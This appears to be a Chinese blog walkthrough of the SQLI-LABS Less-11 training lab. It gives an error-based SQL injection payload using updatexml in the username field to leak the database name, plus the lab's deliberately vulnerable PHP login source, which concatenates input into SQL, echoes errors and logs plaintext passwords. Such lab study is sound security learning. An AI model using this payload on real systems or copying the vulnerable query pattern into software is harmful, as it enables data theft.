当前位置: 首页 > news >正文

SQLI LABS | Less-11 POST-Error Based-Single quotes-String

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-11/

如上,靶场中有一个登录框,要我们输入用户名与密码,似乎要我们进行登录。我们先随意传递点值,看看其反映(笔者传递的是:123 : 123):

可以看到,服务器返回了 LOGIN ATTEMPT FAILED,告诉我们登录失败了。问题不大,我们再多输入几组数据进行测试:

 测试 Payload 01: Username&password = 123 : 123 # 结果: LOGIN ATTEMPT FAILED测试 Payload 02: Username&password = 12' : 123 # 结果: 报错

可以看到,当我们传递 Payload 02 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板,根据泄露的模板,我们可以推测目标后端的 SQL 模板如下:

 select * from users where username='$_POST["name"]' and password='$_POST["name"]' LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击:

 -- 获取当前服务器正在使用的数据库的名称攻击 Payload - Username: 12' and updatexml(1,concat(0x7e,database(),0x7e),1) #'攻击 Payload - Password: 123笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-11 POST-Error Based-Single quotes-String 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-11 POST-Error Based-Single quotes-String 后端的部分源码,以及笔者做的笔记:

<?php//including the Mysql connect parameters.include("../sql-connections/sqli-connect.php"); // 获取数据库连接函数error_reporting(0);​// take the variablesif (isset($_POST['uname']) && isset($_POST['passwd'])) {$uname = $_POST['uname']; // 接收 POST 传递的 uname$passwd = $_POST['passwd']; // 接收 POST 传递的 passwd​//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'User Name:' . $uname);fwrite($fp, 'Password:' . $passwd . "\n");fclose($fp);​​// connectivity @$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; // 后端的 SQL 插叙你语句模板$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);​if ($row) { // 如果查询成功,显示登录名和登录密码//echo '<font color= "#0000ff">';   ​echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';echo "<br>";echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';​echo "</font>";} else { // 如果查询失败,会回显数据库错误信息。也是此处,导致的报错注入。echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysqli_error($con1));echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}}?>


http://www.mrgr.cn/news/59385.html

相关文章:

  • 详解Apache版本、新功能和技术前景
  • React Query已过时?新一代请求工具横空出世
  • sass软件登录设定——未来之窗行业应用跨平台架构
  • C#与C++交互开发系列(十二):托管和非托管内存管理策略
  • ArcGIS003:ArcMap常用操作0-50例动图演示
  • 【电商搜索】现代工业级电商搜索技术-亚马逊-经典的Item-to-Item协同推荐算法
  • Rust 生命周期
  • 国内基础大模型的独立性及应用大模型的依赖性
  • 读数据工程之道:设计和构建健壮的数据系统21数据获取
  • Flutter登录界面使用主题
  • Java | Leetcode Java题解之第514题自由之路
  • React-query vs. 神秘新工具:前端开发的新较量
  • 【Java知识】高性能网络框架Mina详细介绍
  • 数字化转型项目实施方案建议书|168页PPT
  • 从数据中台到数据飞轮:实现数据驱动的升级之路
  • Java中如何实现对象的序列化与反序列化过程?
  • react-query用户哭了:token认证还能这么玩?
  • 深度学习最值得关注的十篇论文
  • C++ | Leetcode C++题解之第514题自由之路
  • Golang | Leetcode Golang题解之第513题找树左下角的值